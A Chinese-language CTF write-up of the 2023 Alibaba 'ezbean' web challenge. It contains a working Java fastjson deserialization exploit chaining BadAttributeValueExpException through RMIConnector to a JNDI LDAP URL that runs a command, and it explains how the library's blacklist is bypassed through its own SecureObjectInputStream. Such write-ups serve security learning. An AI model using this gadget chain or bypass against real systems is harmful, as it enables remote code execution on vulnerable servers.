2023 阿里CTF Web
2023-04-29 10:25:29

这次是赛后才复现的题,就复现了两道比较简单的,记录一下,附件传在github:

ezbean

这题还是很简单的,给了 pom,打开一看就一个 fastjson,然后翻文件也就一个 MyBean,这个类存在一个getConnect函数,已知fastjson会在 toString 的时候自动触发所有 getter,所以肯定是触发这里。

然后 MyBean的 conn 属性还是 JMXConnector 类型的,自然就是 RMIConnector类了,一个简单的利用链:

1
BadAttributeValueExpException#readObject -> JSONArray#toString -> MyBean#getConnect -> RMIConnector#connect

这里首先写一个 EXP :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package com.ctf.ezser.test;

import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.ctf.ezser.bean.MyBean;

import javax.management.BadAttributeValueExpException;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class Test {
public static void main(String[] args) throws Exception {
RMIConnector rmiConnector = new RMIConnector(new JMXServiceURL("service:jmx:rmi://a/jndi/ldap://127.0.0.1:1389/EL/open -a calculator"), new HashMap<>());
// rmiConnector.connect();;
// System.exit(0);
MyBean myBean = new MyBean("a", "b", rmiConnector);

JSONArray jsonArray = new JSONArray();
jsonArray.add(myBean);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("a");
Field val_f = badAttributeValueExpException.getClass().getDeclaredField("val");
val_f.setAccessible(true);
val_f.set(badAttributeValueExpException, jsonArray);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(badAttributeValueExpException);

System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
}
}

细节分析

fastjson特性分析

这里还有个细节点,如果做测试的时候本地做 readObject 的话:

image-20230504145912994

会提示 RMIConnector 没有默认的 constructor,就是没有一个空参数的构造函数。

这里启动一下这道题的 Spring,然后发送exp,可以看到一样的报错:

image-20230504150112060

但是如果再发送一次会发现错误变了:

image-20230504150133031

然后发送第三次就已经可以执行代码了:

image-20230504150222560

这里尝试分析一下:

之所以报这个找不到构造方法的类是因为在 checkAutoType 的时候尝试构建了类,

方法:

1
com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)

image-20230504150651823

然后里面就会去找默认的构造方法,显然是找不到的,但是为什么第二次就不报错了呢,还是在 checkAutoType 这个类中,但是在 build 上面:

image-20230504151347649

上面这个函数是从 TypeUtils 的 mappings 获取类,如果获取到下面就会直接 return 了。第一次当然是空的,然后接着往下走:

1
(features & mask) != 0

这里的上面的这行代码返回的是 true,就把 autoTypeSupport 覆盖为 True 了

image-20230504151641721

然后进入 TypeUtils 的 loadClass:

image-20230504151917652

这个函数把这个类 put 进了 mappings 里,那么下次再执行的时候:

image-20230504152042764

在此处就返回了,所以执行不到 build 处就不会报错了,然后还有个 JMXServiceURL 类也是同理。

黑名单失效

其实这道题应该是有黑名单的:

image-20230504152417744

此处禁止了javax\\.management\\.remote.* 看起来应该不允许 RMIConnector ,但是好像并没有做什么特殊的绕过。

这里是因为 JSONArray 实现了 readObject 方法:

image-20230505000126109

然后这个 SecureObjectInputStream 实现了 resolveClass:

image-20230505000210281

就这样就直接接管了。

resolveClass 的一些测试

这里出于好奇做了一个测试,就是到底怎么做到的 resolveClass 接管,这里我新建两个类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.ctf.ezser.test;

import java.io.*;

public class MyInputStream extends ObjectInputStream {
public MyInputStream(InputStream in) throws IOException {
super(in);
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (desc.getName().contains("testSerclass")) {
throw new InvalidClassException("Unexpected serialized class", desc.getName());
}
return super.resolveClass(desc);
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.ctf.ezser.test;

import java.io.*;
import java.util.ArrayList;

class MyTestObject implements Serializable {
public ArrayList haihai = new ArrayList();

private void readObject(final java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
SecureObjectInputStream.ensureFields();
;
new SecureObjectInputStream(in).defaultReadObject();
}
}

haihai 里面放 testSerclass 黑名单类,然后调用的是 MyInputStream 的 readObject。

在 MyTestObject 里又有一个 SecureObjectInputStream 这里参考了 JSONObject 这个类是如何实现的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package com.ctf.ezser.test;

import com.alibaba.fastjson.util.TypeUtils;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.io.StreamCorruptedException;
import java.lang.reflect.Field;

public class SecureObjectInputStream extends ObjectInputStream {
static Field[] fields;
public SecureObjectInputStream(ObjectInputStream in) throws IOException, IOException {
super(in);
try {
for (int i = 0; i < fields.length; i++) {
final Field field = fields[i];
final Object value = field.get(in);
field.set(this, value);
}
} catch (IllegalAccessException e) {
}
}
static void ensureFields() {
if (fields == null) {
try {
final Field[] declaredFields = ObjectInputStream.class.getDeclaredFields();
String[] fieldnames = new String[]{"bin", "passHandle", "handles", "curContext"};
Field[] array = new Field[fieldnames.length];
for (int i = 0; i < fieldnames.length; i++) {
Field field = TypeUtils
.getField(ObjectInputStream.class
, fieldnames[i]
, declaredFields
);
field.setAccessible(true);
array[i] = field;
}
fields = array;
} catch (Throwable error) {
}
}
}
protected void readStreamHeader() throws IOException, StreamCorruptedException {

}
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {

return super.resolveClass(desc);
}

}

简单解释一下,首先需要覆盖一个函数 readStreamHeader ,这个是必须的,这是因为在初始化的时候调用了 :

1
super(in)

image-20230505005805490

如果调用了默认的这个函数,就会报错,所以即使是 JSONObject 也对这个函数进行了覆盖。

第二点是 ensureFields 这个函数:

image-20230505005909202

在默认的 defaultReadObject 这个函数就是调用的这个:

image-20230505005950756

他这里分了两步骤,首先是 ensureFields 把字段获取,然后在自定义InputStream初始化的时候 set 进去了:

image-20230505010030549

要我说这个其实简化一下也容易点,只需要设置上 bin 和 curContext 两个字段就好了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public SecureObjectInputStream(ObjectInputStream in) throws IOException, IOException {
super(in);
try {
Field context_f = ObjectInputStream.class.getDeclaredField("curContext");
context_f.setAccessible(true);
context_f.set(this, context_f.get(in));

Field bin_f = ObjectInputStream.class.getDeclaredField("bin");
bin_f.setAccessible(true);
bin_f.set(this, bin_f.get(in));
} catch (Exception e) {
throw new RuntimeException(e);
}
}

虽然这里调用了 super(in) ,但是父类的构造函数也没有设置 curContext 的,所以需要手动设置下,总之接管起来还是很麻烦的,还想着找个类似的绕过呢~